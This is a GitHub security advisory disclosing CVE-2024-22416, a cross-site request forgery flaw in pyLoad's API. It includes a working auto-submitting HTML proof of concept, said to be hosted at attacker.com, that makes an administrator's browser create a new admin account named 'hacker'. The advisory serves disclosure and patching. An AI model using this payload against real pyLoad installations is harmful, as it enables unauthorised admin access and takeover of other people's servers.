Skip to content

Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation

Critical severity GitHub Reviewed Published Jan 17, 2024 in pyload/pyload • Updated Jan 29, 2024

Package

pip pyload-ng (pip)

Affected versions

< 0.5.0b3.dev78

Patched versions

0.5.0b3.dev78

Description

Summary

The pyload API allows any API call to be made using GET requests. Since the session cookie is not set to SameSite: strict, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user.

PoC

We host the following HTML file on an attacker-controlled server.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

If we now trick an administrator into visiting our malicious page at https://attacker.com/CSRF.html, we see that their browser will make a request to /api/add_user/%22hacker%22,%22hacker%22, adding a new administrator to the pyload application.
image

The attacker can now authenticate as this newly created administrator user with the username hacker and password hacker.
image

Impact

Any API call can be made via a CSRF attack by an unauthenticated user.

References

@GammaC0de GammaC0de published to pyload/pyload Jan 17, 2024
Published by the National Vulnerability Database Jan 18, 2024
Published to the GitHub Advisory Database Jan 19, 2024
Reviewed Jan 19, 2024
Last updated Jan 29, 2024

Severity

Critical
9.7
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Weaknesses

CVE ID

CVE-2024-22416

GHSA ID

GHSA-pgpj-v85q-h5fm

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.